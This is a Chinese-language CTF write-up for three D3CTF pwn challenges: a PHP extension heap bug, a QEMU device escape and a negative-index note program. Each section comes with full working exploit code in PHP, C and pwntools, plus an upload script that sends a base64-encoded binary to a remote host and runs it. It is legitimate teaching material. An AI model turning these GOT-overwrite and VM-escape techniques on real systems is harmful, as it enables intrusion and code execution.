PwnShell 漏洞利用 很久以前就听说过 php pwn
,没想到就在这里遇到了。出题人自己实现了一个 php
扩展模块 vuln.so
,很显然漏洞就来源于这里,通过逆向分析发现出题人在这个模块中实现的菜单堆,其漏洞函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 unsigned __int64 __fastcall zif_addHacker (__int64 a1, __int64 a2) { __int64 v2; __int64 v3; __int64 v5; _BYTE *v6; _DWORD *v7; _QWORD *v8; void *v9; size_t v10; const void *v11; _BYTE *v12; __int64 v13; _BYTE *v14; _BYTE *v15; unsigned __int64 v16; v3 = *(unsigned int *)(a1 + 44 ); v16 = __readfsqword(0x28 u); if ( (unsigned int )zend_parse_parameters(v3, &unk_2000, &v15, &v14) != -1 ) { if ( v15[8 ] == 6 && v14[8 ] == 6 ) { v5 = 0LL ; v6 = &chunkList[2 ]; while ( *v6 != 1 ) { ++v5; v6 += 0x10 ; if ( v5 == 0x10 ) goto LABEL_9; } v2 = v5; LABEL_9: v7 = &chunkList[4 * v2]; v8 = (_QWORD *)_emalloc(*(_QWORD *)(*(_QWORD *)v14 + 0x10 LL) + 0x10 LL); v9 = (void *)_emalloc(*(_QWORD *)(*(_QWORD *)v15 + 0x10 LL)); *v8 = v9; v10 = *(_QWORD *)(*(_QWORD *)v15 + 0x10 LL); v11 = (const void *)(*(_QWORD *)v15 + 0x18 LL); v8[1 ] = v10; memcpy (v9, v11, v10); v12 = v14; memcpy (v8 + 2 , (const void *)(*(_QWORD *)v14 + 0x18 LL), *(_QWORD *)(*(_QWORD *)v14 + 0x10 LL)); v13 = *(_QWORD *)(*(_QWORD *)v12 + 0x10 LL); *(_QWORD *)v7 = v8; v7[2 ] = 13 ; *((_BYTE *)v8 + v13 + 0x10 ) = 0 ; } else { *(_DWORD *)(a2 + 8 ) = 1 ; } } return v16 - __readfsqword(0x28 u); }
这里先对部分语句进行介绍,首先是下面这段代码:
1 v3 = *(unsigned int *)(a1 + 44 );
其作用是获取函数的参数个数。接下来是 zend_parse_parameters
函数,其函数原型为:
1 END_API int zend_parse_parameters (int num_args, const char *type_spec, ...)
第一个参数是传递的参数个数。通常使用 ZEND_NUM_ARGS()
来获取。 第二个参数是一个字符串,指定了函数期望的各个参数的类型,后面紧跟着需要随参数值更新的变量列表。 因为 php
采用松散的变量定义和动态的类型判断,这样做就使得把不同类型的参数转化为期望的类型成为可能。 下表列出了可能指定的类型:
类型指定符
对应的C类型
描述
l
long
符号整数
d
double
浮点数
s
char *, int
二进制字符串,长度
b
zend_bool
逻辑型(1或0)
r
zval *
资源(文件指针,数据库连接等)
a
zval *
联合数组
o
zval *
任何类型的对象
O
zval *
指定类型的对象。需要提供目标对象的类类型
z
zval *
无任何操作的zval
例如下面的例子:
1 zend_parse_parameters(ZEND_NUM_ARGS(), "sl" , &str, &str_len, &n)
该表达式则是获取两个参数 str
和 n
,字符串的类型是 s
,需要两个参数 char *
字符串和 int
长度;数字的类型 l
,只需要一个参数。 现在重新回到题目的代码,可以看到存在一个 off by null
漏洞(注释里面有写),这里我们就要先认识一下 php
的堆结构。php
的堆结构类似于 libc 2.27
的 tcache
, 在 tcache
的基础上删去了 head
头。由此可见,php
的堆还是挺好利用的。由于 vuln.so
模块的 RELRO
开启状态为 Partial RELRO
,所以我们可以通过 off by null
漏洞和堆风水修改堆块的 fd
指针,实现修改 _efree
函数的 got
表为 system,
从而实现任意指令的执行 接下来的问题是如何泄露地址,这里需要用到一个 linux
的知识。linux
系统内核提供了一种通过 /proc
的文件系统,在程序运行时访问内核数据,改变内核设置的机制。/proc
是一种伪文件结构,也就是说是仅存在于内存中。/proc
中一般比较重要的目录是 sys
、net
和 scsi
,sys
目录是可写的,可以通过它来访问和修改内核的参数 /proc
中有一些以 PID
命名(进程号)的进程目录,可以读取对应进程的信息,另外还有一个 /self
目录,用于记录本进程的信息。也即可以通过 /proc/$PID/
目录来获得该进程的信息,但是这个方法需要知道进程的 PID
是多少,在 fork
、daemon
等情况下,PID
可能还会发生变化。所以 Linux
提供了 self
目录,来解决这个问题,不过不同的进程来访问这个目录获得的信息是不同的,内容等价于 /proc/
本进程 PID
目录下的内容。所以可以通过 self
目录直接获得自身的信息,不需要知道 PID
。 那么,我们这里只需要读取 /proc/self/maps
文件即可。然后,在输出中得到 libc
地址和 vuln.so
的地址。 这里,还需要用到 php
的一个技巧,即 ob
函数。在 php
中我们可以通过 ob_start
来打开缓冲区,然后程序的输出流就会被存储到变量中,我们可以使用 ob_get_contents
来获得 输出流,然后通过正则匹配从输出流中获得地址。 这部分可以当作板子来用,就像这一道题目用于泄露地址的代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function leakaddr ($buffer ) { global $libc ,$mbase ; $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/' ; $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/' ; preg_match_all ($p , $buffer , $libc ); preg_match_all ($p1 , $buffer , $mbase ); return "" ; } $libc ="" ;$mbase ="" ;ob_start ("leakaddr" );include ("/proc/self/maps" );$buffer = ob_get_contents ();ob_end_flush ();leakaddr ($buffer );$libc_base = hexdec ($libc [1 ][0 ]);$mod_base = hexdec ($mbase [1 ][0 ]);
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php function str2Hex ($str ) { $hex = "" ; for ($i = strlen ($str ) - 1 ;$i >= 0 ;$i --) $hex .= dechex (ord ($str [$i ])); $hex = strtoupper ($hex ); return $hex ; } function int2Str ($i , $x = 8 ) { $re = "" ; for ($j = 0 ; $j < $x ; $j ++) { $re .= pack ('C' , $i & 0xff ); $i >>= 8 ; } return $re ; } function leakaddr ($buffer ) { global $libc ,$mbase ; $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/' ; $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/' ; preg_match_all ($p , $buffer , $libc ); preg_match_all ($p1 , $buffer , $mbase ); return "" ; } $libc ="" ;$mbase ="" ;ob_start ("leakaddr" );include ("/proc/self/maps" );$buffer = ob_get_contents ();ob_end_flush ();leakaddr ($buffer );$libc_base = hexdec ($libc [1 ][0 ]);$mod_base = hexdec ($mbase [1 ][0 ]);$system_addr = 0x4c490 ;$efree_got = 0x4038 ;$a = str_repeat ("a" , 0x40 );$b = str_repeat ("b" , 0x3f );for ($i = 1 ; $i < 0xe ; $i ++) { $n = 0x61 + $i ; $aa = pack ("C" , $n ); $aaa = str_repeat ($aa , 0x40 ); addHacker ($aaa , $b ); } $cmd = "/readflag > /var/www/html/flag.txt\x00" ;editHacker (0 ,$cmd );removeHacker (7 );$c = str_repeat ("c" , 0x40 );addHacker ($a , $c );removeHacker (6 );editHacker (8 , int2str ($mod_base +$efree_got ));addHacker ($a , $b );$payload = str_repeat (int2str ($libc_base +$system_addr ),8 );addHacker ($payload , $b );removeHacker (0 );?>
调试 这道题我感觉难点在于如何调试。这道题目给出了 docker
环境,所以我们可以在 docker
中启动 gdbserver
远程调试,其做法如下:
然后在另外一个终端中启动 gdb
,然后输入 target remote:8888
即可连接 这里要注意的是,我 docker
是将其 9999
端口映射到物理机的 8888
端口,所以我在 docker
中启动 gdbserver
使用的是 9999
端口,在物理机中 gdb
远程连接的端口是 8888
由于题目给的 docker
并没有安装 gdbserver
,我们可以通过下面这条命令进行安装
接下来就要说说调试技巧。由于程序要运行很多汇编代码后才会将 vuln.so
模块给加载进来,所以一直在 gdb
中使用 si
是行不通的,我的方法是在 exp.php
中使用 fgetc(STDIN)
来将程序卡住,然后在 gdb
中输入 c
来进行类似于断点的操作,但是这样的 php
文件运行时会发现系统报错说找不到 fgetc
这一个 function
,这是应为在 php.ini
文件中将这一个函数给 ban
了,我们可以通过下面这一条指令来找到 php.ini
文件所在的文件夹
1 php -i | grep "Configuration File (php.ini) Path"
在 php.ini
文件中我们找到 disable_functions
那个地方
可以看见我们要用的 fgetc
函数在最后一行,我们将其删除即可 下面给出一条用于查询 php
扩展模块所在的路径的命令
1 php-config --extension-dir
D3EasyEscape 这道题是 qemu
逃逸,之前没事干学了一下,这不刚好可以用上了,其关键函数如下: l0dev_mmio_read:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 __fastcall l0dev_mmio_read (__int64 opaque, unsigned __int64 addr, unsigned int size) { __int64 dest; __int64 v6; unsigned __int64 addr_v7; unsigned __int64 v8; v8 = __readfsqword(0x28 u); v6 = sub_7F810F(opaque, "l0dev" , "../qemu-7.0.0/hw/misc/l0dev.c" , 82LL , "l0dev_mmio_read" ); dest = -1LL ; addr_v7 = addr >> 3 ; if ( size > 8 ) return dest; if ( 8 * addr_v7 + size <= 0x100 ) memcpy (&dest, (const void *)((unsigned int )(*(_DWORD *)(v6 + 0xA00 ) + addr) + 0xC30 LL + v6 + 4 ), size); return dest; }
l0dev_pmio_read:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 __fastcall l0dev_pmio_read (__int64 opaque, unsigned __int64 addr, unsigned int size) { __int64 dest; __int64 v6; unsigned __int64 addr_v7; unsigned __int64 v8; v8 = __readfsqword(0x28 u); v6 = sub_7F810F(opaque, "l0dev" , "../qemu-7.0.0/hw/misc/l0dev.c" , 104LL , "l0dev_pmio_read" ); dest = -1LL ; addr_v7 = addr >> 3 ; if ( size > 8 ) return dest; if ( 8 * addr_v7 + size > 0x100 ) return dest; memcpy (&dest, (const void *)((unsigned int )addr + 0xC30 LL + v6 + 4 ), size); if ( (_DWORD)dest == 666 ) ++dword_123B1CC; return dest; }
l0dev_mmio_write:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 void *__fastcall l0dev_mmio_write (__int64 opaque, unsigned __int64 addr, __int64 value, unsigned int size) { void *result; unsigned int size_n; _QWORD n_4[3 ]; unsigned int addr_v7; __int64 v8; unsigned __int64 v9; __int64 v10; n_4[2 ] = opaque; n_4[1 ] = addr; n_4[0 ] = value; size_n = size; v8 = sub_7F810F(opaque, "l0dev" , "../qemu-7.0.0/hw/misc/l0dev.c" , 133LL , "l0dev_mmio_write" ); v9 = addr >> 3 ; result = (void *)addr; addr_v7 = addr; if ( size_n <= 8 ) { result = (void *)(8 * v9 + size_n); if ( (unsigned __int64)result <= 0x100 ) { if ( addr_v7 == 0x40 ) { v10 = n_4[0 ]; addr_v7 = (*(int (__fastcall **)(_QWORD *))(v8 + 0xD48 ))(n_4) % 0x100 ; return memcpy ((void *)(addr_v7 + 0xC30 LL + v8 + 4 ), n_4, size_n); } else if ( addr_v7 == 0x80 ) { result = (void *)n_4[0 ]; if ( n_4[0 ] <= 0x100 uLL ) { result = (void *)v8; *(_DWORD *)(v8 + 0xA00 ) = n_4[0 ]; } } else { return memcpy ((void *)(addr_v7 + 0xC30 LL + v8 + 4 ), n_4, size_n); } } } return result; }
l0dev_pmio_write:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 void *__fastcall l0dev_pmio_write (__int64 opaque, unsigned __int64 addr, __int64 value, int size) { void *result; _DWORD n[3 ]; unsigned __int64 addr_v6; __int64 v7; int v8; __int64 v9; unsigned __int64 addr_v10; v7 = opaque; addr_v6 = addr; *(_QWORD *)&n[1 ] = value; n[0 ] = size; v9 = sub_7F810F(opaque, "l0dev" , "../qemu-7.0.0/hw/misc/l0dev.c" , 173LL , "l0dev_pmio_write" ); if ( dword_123B1CC ) return memcpy ((void *)((unsigned int )(*(_DWORD *)(v9 + 0xA00 ) + addr_v6) + 0xC30 LL + v9 + 4 ), &n[1 ], n[0 ]); result = (void *)(addr_v6 >> 3 ); addr_v10 = addr_v6 >> 3 ; if ( n[0 ] <= 8u ) { result = (void *)(8 * addr_v10 + n[0 ]); if ( (unsigned __int64)result <= 0x100 ) { v8 = addr_v6; return memcpy ((void *)((unsigned int )addr_v6 + 0xC30 LL + v9 + 4 ), &n[1 ], n[0 ]); } } return result; }
说实话,这道题目我看了好久才找到漏洞,还是做题做太少了。在 l0dev_mmio_write
函数中当 addr_v7 == 0x80
时我们可以对 *(_DWORD *)(v8 + 0xA00)
的值进行设置,而在 l0dev_mmio_read
函数中我们可以相对 *(_DWORD *)(v8 + 0xA00)
某个偏移范围内的数据进行读,在 l0dev_pmio_write
函数中我们可以相对 *(_DWORD *)(v8 + 0xA00)
某个偏移范围内的数据进行写,也就是说这里存在越界读和越界写。观察到 l0dev_mmio_write
函数中下面这一段代码:
1 2 3 4 5 if ( addr_v7 == 0x40 ){ v10 = n_4[0 ]; addr_v7 = (*(int (__fastcall **)(_QWORD *))(v8 + 0xD48 ))(n_4) % 0x100 ; return memcpy ((void *)(addr_v7 + 0xC30 LL + v8 + 4 ), n_4, size_n); }
可以看见 (int (__fastcall **)(_QWORD *))(v8 + 0xD48)
处存储的是一个函数指针,通过 gdb
我们可以发现其存储的是 rand_r
函数的地址,该函数位于 libc
上,所以我们可以通过越界读读取此处来获取 libc
的地址。可以看见这个地方是通过函数指针调用了函数,且函数的参数我们是可控的,所以我们可以劫持该函数指针执行 system
函数的地址,然后另函数从参数为 sh
即可实现逃逸 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <errno.h> #include <signal.h> #include <fcntl.h> #include <ctype.h> #include <termios.h> #include <assert.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/io.h> void err_exit (char *msg) { printf ("\033[31m\033[1m[x] Error at: \033[0m%s\n" , msg); sleep(5 ); exit (EXIT_FAILURE); } void info (char *msg) { printf ("\033[32m\033[1m[+] %s\n\033[0m" , msg); } void hexx (char *msg, size_t value) { printf ("\033[32m\033[1m[+] %s: %#lx\n\033[0m" , msg, value); } void binary_dump (char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL ) { printf ("\033[33m[*] %s:\n\033[0m" , desc); } for (int i = 0 ; i < len / 8 ; i += 4 ) { printf (" %04x" , i * 8 ); for (int j = 0 ; j < 4 ; j++) { i + j < len / 8 ? printf (" 0x%016lx" , buf64[i + j]) : printf (" " ); } printf (" " ); for (int j = 0 ; j < 32 && j + i * 8 < len; j++) { printf ("%c" , isprint (buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ("" ); } } void * mmio_mem;uint32_t port_mem = 0xc000 ;uint32_t pmio_read (uint32_t port) { return inl(port_mem + port); } void pmio_write (uint32_t port, uint32_t val) { outl(val, port_mem + port); } uint32_t mmio_read (uint64_t addr) { return *(uint32_t *)(mmio_mem + addr); } void mmio_write (uint64_t addr, uint32_t val) { *(uint32_t *)(mmio_mem + addr) = val; } void mmio_write64 (uint64_t addr, uint64_t val) { *(uint64_t *)(mmio_mem + addr) = val; } int main () { if (iopl(3 ) !=0 ){ perror("I/O permission is not enough" ); exit (-1 ); } int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0" , O_RDWR | O_SYNC); if (mmio_fd == -1 ) { perror("[-] failed to open mmio." ); exit (EXIT_FAILURE); } mmio_mem = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 ); if (mmio_mem == MAP_FAILED) { perror("[-] failed to mmap mmio." ); exit (EXIT_FAILURE); } mmio_write(8 , 666 ); mmio_write(0x80 , 0x80 ); pmio_read(8 ); uint32_t leak = mmio_read(0x8c ); uint32_t low_system_addr = 0xa610 + leak; hexx("low_system_addr" , low_system_addr); pmio_write(0x94 , low_system_addr); mmio_write(0x40 , 0x6873 ); return 0 ; }
上传脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import sysimport osfrom pwn import *import string context.log_level='debug' sla = lambda x,y : p.sendlineafter(x,y) sa = lambda x,y : p.sendafter(x,y) ru = lambda x : p.recvuntil(x) p = remote('106.14.121.29' , 30537 ) def send_cmd (cmd ): sla('# ' , cmd) def upload (): lg = log.progress('Upload' ) with open ('exp' , 'rb' ) as f: data = f.read() encoded = base64.b64encode(data) encoded = str (encoded)[2 :-1 ] for i in range (0 , len (encoded), 300 ): lg.status('%d / %d' % (i, len (encoded))) send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300 ])) send_cmd('cat benc | base64 -d > exp' ) send_cmd('chmod +x exp' ) send_cmd('./exp' ) lg.success() upload() p.interactive()
可能用人会问,在 qemu
中执行 system("/bin/sh")
不是无法 getsell
的吗,执行后不会有任何回显。其实是可以 getshell
的,但是需要通过 pwntools
连接后才可以看见回显,其效果如下:
d3note 题目代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 void __fastcall __noreturn main (int a1, char **a2, char **a3) { int v3; int v4; int v5; int v6; int v7; unsigned int v8; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); while ( 1 ) { while ( 1 ) { v3 = sub_4011F2(); if ( v3 != 6425 ) break ; v6 = sub_4011F2(); free (*((void **)&unk_4040A0 + 2 * v6 + 1 )); *((_QWORD *)&unk_4040A0 + 2 * v6 + 1 ) = 0LL ; *((_DWORD *)&unk_4040A0 + 4 * v6) = 0 ; } if ( v3 > 6425 ) { LABEL_13: puts ("Invalid choice" ); } else if ( v3 == 2064 ) { v7 = sub_4011F2(); sub_401186(*((_QWORD *)&unk_4040A0 + 2 * v7 + 1 ), *((unsigned int *)&unk_4040A0 + 4 * v7)); } else { if ( v3 > 2064 ) goto LABEL_13; if ( v3 == 276 ) { v4 = sub_4011F2(); v8 = sub_4011F2(); *((_DWORD *)&unk_4040A0 + 4 * v4) = v8; *((_QWORD *)&unk_4040A0 + 2 * v4 + 1 ) = malloc ((int )v8); sub_401186(*((_QWORD *)&unk_4040A0 + 2 * v4 + 1 ), v8); } else { if ( v3 != 1300 ) goto LABEL_13; v5 = sub_4011F2(); puts (*((const char **)&unk_4040A0 + 2 * v5 + 1 )); } } } }
开启的保护:
这题第一眼看上去就感觉是经典的菜单题,但是看了办法没有发现堆上的漏洞,后面发现在输入堆块索引时程序并没有对输入的索引进行检测,导致可以使用负索引。由于没有开启 PIE
且 RELRO
状态为 Partial RELRO
,所以我选择劫持 free
的 got
表为 system
然后释放掉一个内容为 sh
的堆块来实现 getshell
这题的一个难点在于存储堆块指针的地址都是以 8
结尾,导致我们不好泄露地址,经过长时间的查找我找到了可以利用的地址
所以我选择以这里来泄露 libc
的地址并作为跳板来实现修改 free
的 got
表 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *from LibcSearcher import *from ctypes import *from struct import packimport numpy as npimport base64p=remote('47.103.122.127' ,32244 ) context(arch='amd64' , os='linux' , log_level='debug' ) context.terminal = ['wt.exe' , '-w' , "0" , "sp" , "-d" , "." , "wsl.exe" , "-d" , "Ubuntu-22.04" , "bash" , "-c" ] elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) def add (index,size,content ): sleep(0.1 ) p.sendline(b'276' ) sleep(0.1 ) p.sendline(str (index)) sleep(0.1 ) p.sendline(str (size)) sleep(0.1 ) p.send(content) def delete (index ): sleep(0.1 ) p.sendline(b'6425' ) sleep(0.1 ) p.sendline(str (index)) def show (index ): sleep(0.1 ) p.sendline(b'1300' ) sleep(0.1 ) p.sendline(str (index)) def edit (index,content ): sleep(0.1 ) p.sendline(b'2064' ) sleep(0.1 ) p.sendline(str (index)) sleep(0.1 ) p.send(content) add(10 ,0x10 ,b'/bin/sh\n' ) add(11 ,0x10 ,b'a\n' ) delete(11 ) got = 0x404000 show(-1460 ) libc_base = u64(p.recv(6 ).ljust(8 ,b"\x00" ))-1918624 log.success(f'libc_base:{libc_base:#x} ' ) pop_rsi = 0x0000000000029419 +libc_base pop_rdx = 0x00000000000fd76d +libc_base ret = libc_base + 0x00000000000275f2 payload = p64(0x10 )+p64(got) edit(-1460 ,payload+b'\n' ) edit(-2 ,p64(libc_base+libc.symbols['system' ])*2 ) delete(10 ) p.interactive()
总结 去年的 D3CTF
是我第一次和校队组队参加比赛,当时我的 pwn
水平还停留在栈溢出阶段,完全的被这一些题目给震撼到了。今年再次参加 D3CTF
,发现题目能看懂了,花点时间题目能做出来了,看来这一年的努力还是有那么一丢丢作用的,不过还是处于新手阶段,太弱了,哎。比赛期间真的太忙太多事情了,导致没有什么时间做题。qemu
逃逸找到漏洞后发现已经给 xtx
师傅做出来了呜呜呜(太强拉